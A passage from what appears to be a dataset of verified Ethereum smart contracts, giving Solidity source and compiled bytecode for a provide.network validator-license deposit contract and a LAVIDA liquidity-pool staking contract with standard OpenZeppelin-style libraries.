* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* provide.network validator license contract
*
* Instructions:
*
* Deposit 2,500 UBT into this contract to secure your license
* to validate provide.network upon network launch. Depositors
* will be included in the initial Network Rewards contract,
* permitted to withdraw PRVD block rewards and participate in
* network governance as described in this paper:
* https://provide.network/whitepapers/latest.pdf
*
* PRVD official token contract address: 0x65bb569faadd324a00883fde4c46346cc96d5c0a)
*
* Note that the network governance smart contract suite will be
* deployed on or about January 1, 2022.
*/
contract ProvideNetworkValidatorLicense is Ownable {
using SafeMath for uint256;
IERC20 private token = IERC20(0x8400D94A5cb0fa0D041a3788e395285d61c9ee5e);
constructor()
Ownable() {}
function withdraw(uint256 amount)
onlyOwner()
external
{
require(token.transfer(msg.sender, amount), 'transfer failed');
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80632e1a7d4d14610051578063715018a6146100665780638da5cb5b1461006e578063f2fde38b1461008d575b600080fd5b61006461005f366004610304565b6100a0565b005b610064610198565b600054604080516001600160a01b039092168252519081900360200190f35b61006461009b3660046102b2565b6101ce565b6000546001600160a01b031633146100d35760405162461bcd60e51b81526004016100ca9061031d565b60405180910390fd5b60015460405163a9059cbb60e01b8152336004820152602481018390526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b15801561011f57600080fd5b505af1158015610133573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061015791906102e2565b6101955760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b60448201526064016100ca565b50565b6000546001600160a01b031633146101c25760405162461bcd60e51b81526004016100ca9061031d565b6101cc6000610262565b565b6000546001600160a01b031633146101f85760405162461bcd60e51b81526004016100ca9061031d565b6001600160a01b03811661025d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016100ca565b610195815b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102c457600080fd5b81356001600160a01b03811681146102db57600080fd5b9392505050565b6000602082840312156102f457600080fd5b815180151581146102db57600080fd5b60006020828403121561031657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea264697066735822122097ae95c93e84283d663c32ac83ad287d6f82a830b8c5abc6339b8e06e2d873f164736f6c63430008070033 | {"success": true, "error": null, "results": {}} | 10,695 |
0x27ba75eb62e19e8c76d21d1d98ff5455a4a31e4c | /**
*Submitted for verification at Etherscan.io on 2021-05-06
*/
pragma solidity 0.7.6;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract LAVIDAandLP is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// deposit token contract address
address public trustedDepositTokenAddress = 0xDC603d2989fEa58aC5Bce85514Cd71A131962fA2; // LP Token Address
address public trustedRewardTokenAddress = 0xE35f19E4457A114A951781aaF421EC5266eF25Fe; // LAVIDA Address
uint public constant withdrawFeePercentX100 = 50;
uint public constant disburseAmount = 257e18;
uint public constant disburseDuration = 190 days;
uint public constant cliffTime = 190 days;
uint public constant disbursePercentX100 = 10000;
uint public contractDeployTime;
uint public lastDisburseTime;
constructor() {
contractDeployTime = block.timestamp;
lastDisburseTime = contractDeployTime;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
// withdraw without caring about Rewards
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
} | 0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80637e1c0c091161010f578063b6b55f25116100a2578063e027c61f11610071578063e027c61f146107d7578063f2fde38b146107f5578063f3f91fa014610839578063fe547f7214610891576101e5565b8063b6b55f2514610715578063c326bf4f14610743578063d1b965f31461079b578063d578ceab146107b9576101e5565b80638f5705be116100de5780638f5705be1461066357806398896d10146106815780639f54790d146106d9578063ac51de8d146106f7576101e5565b80637e1c0c09146105d55780638b7afe2e146105f35780638da5cb5b146106115780638e20a1d914610645576101e5565b8063308feec3116101875780634e71d92d116101565780634e71d92d146105275780635312ea8e146105315780636270cd181461055f57806365ca78be146105b7576101e5565b8063308feec31461044f57806331a5dda11461046d578063452b4cfc146104a157806346c64873146104cf576101e5565b80630f1a6444116101c35780630f1a6444146103775780631cfa8021146103955780631f04461c146103c95780632e1a7d4d14610421576101e5565b806305447d25146101ea5780630813cc8f1461034f5780630c9a0c7814610359575b600080fd5b6102206004803603604081101561020057600080fd5b8101908080359060200190929190803590602001909291905050506108af565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561026f578082015181840152602081019050610254565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102b1578082015181840152602081019050610296565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102f35780820151818401526020810190506102d8565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561033557808201518184015260208101905061031a565b505050509050019850505050505050505060405180910390f35b610357610bc8565b005b610361610c7a565b6040518082815260200191505060405180910390f35b61037f610c80565b6040518082815260200191505060405180910390f35b61039d610c87565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61040b600480360360208110156103df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cad565b6040518082815260200191505060405180910390f35b61044d6004803603602081101561043757600080fd5b8101908080359060200190929190505050610cc5565b005b61045761125e565b6040518082815260200191505060405180910390f35b61047561126f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104cd600480360360208110156104b757600080fd5b8101908080359060200190929190505050611295565b005b610511600480360360208110156104e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611469565b6040518082815260200191505060405180910390f35b61052f611481565b005b61055d6004803603602081101561054757600080fd5b810190808035906020019092919050505061148c565b005b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aa6565b6040518082815260200191505060405180910390f35b6105bf611abe565b6040518082815260200191505060405180910390f35b6105dd611ac4565b6040518082815260200191505060405180910390f35b6105fb611aca565b6040518082815260200191505060405180910390f35b610619611ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61064d611af4565b6040518082815260200191505060405180910390f35b61066b611afa565b6040518082815260200191505060405180910390f35b6106c36004803603602081101561069757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b01565b6040518082815260200191505060405180910390f35b6106e1611c48565b6040518082815260200191505060405180910390f35b6106ff611c4e565b6040518082815260200191505060405180910390f35b6107416004803603602081101561072b57600080fd5b8101908080359060200190929190505050611ccd565b005b6107856004803603602081101561075957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fcf565b6040518082815260200191505060405180910390f35b6107a3611fe7565b6040518082815260200191505060405180910390f35b6107c1611fec565b6040518082815260200191505060405180910390f35b6107df611ff2565b6040518082815260200191505060405180910390f35b6108376004803603602081101561080b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ff8565b005b61087b6004803603602081101561084f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612147565b6040518082815260200191505060405180910390f35b61089961215f565b6040518082815260200191505060405180910390f35b6060806060808486106108c157600080fd5b60006108d6878761216c90919063ffffffff16565b905060008167ffffffffffffffff811180156108f157600080fd5b506040519080825280602002602001820160405280156109205781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111801561093c57600080fd5b5060405190808252806020026020018201604052801561096b5781602001602082028036833780820191505090505b50905060008367ffffffffffffffff8111801561098757600080fd5b506040519080825280602002602001820160405280156109b65781602001602082028036833780820191505090505b50905060008467ffffffffffffffff811180156109d257600080fd5b50604051908082528060200260200182016040528015610a015781602001602082028036833780820191505090505b50905060008b90505b8a811015610bad576000610a2882600661218390919063ffffffff16565b90506000610a3f8e8461216c90919063ffffffff16565b905081878281518110610a4e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610ad457fe5b602002602001018181525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610b2c57fe5b602002602001018181525050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610b8457fe5b6020026020010181815250505050610ba660018261219d90919063ffffffff16565b9050610a0a565b50838383839850985098509850505050505092959194509250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c2057600080fd5b6000610c2a611c4e565b905080600e541015610c3c57600e5490505b6000811415610c4b5750610c78565b610c54816121b9565b610c6981600e5461216c90919063ffffffff16565b600e8190555042600481905550505b565b61271081565b62fa7d0081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090505481565b80600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b62fa7d00610dd0600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261216c90919063ffffffff16565b11610e43576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b610e4c33612247565b6000610e76612710610e6860328561253190919063ffffffff16565b61256090919063ffffffff16565b90506000610e8d828461216c90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f4257600080fd5b505af1158015610f56573d6000803e3d6000fd5b505050506040513d6020811015610f6c57600080fd5b8101908080519060200190929190505050610fef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561108257600080fd5b505af1158015611096573d6000803e3d6000fd5b505050506040513d60208110156110ac57600080fd5b810190808051906020019092919050505061112f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61118183600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216c90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d98360105461216c90919063ffffffff16565b6010819055506111f333600661257990919063ffffffff16565b801561123e57506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611259576112573360066125a990919063ffffffff16565b505b505050565b600061126a60066125d9565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ed57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561139e57600080fd5b505af11580156113b2573d6000803e3d6000fd5b505050506040513d60208110156113c857600080fd5b810190808051906020019092919050505061144b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b61146081600e5461219d90919063ffffffff16565b600e8190555050565b60096020528060005260406000206000915090505481565b61148a33612247565b565b80600860003373fffffffffffffff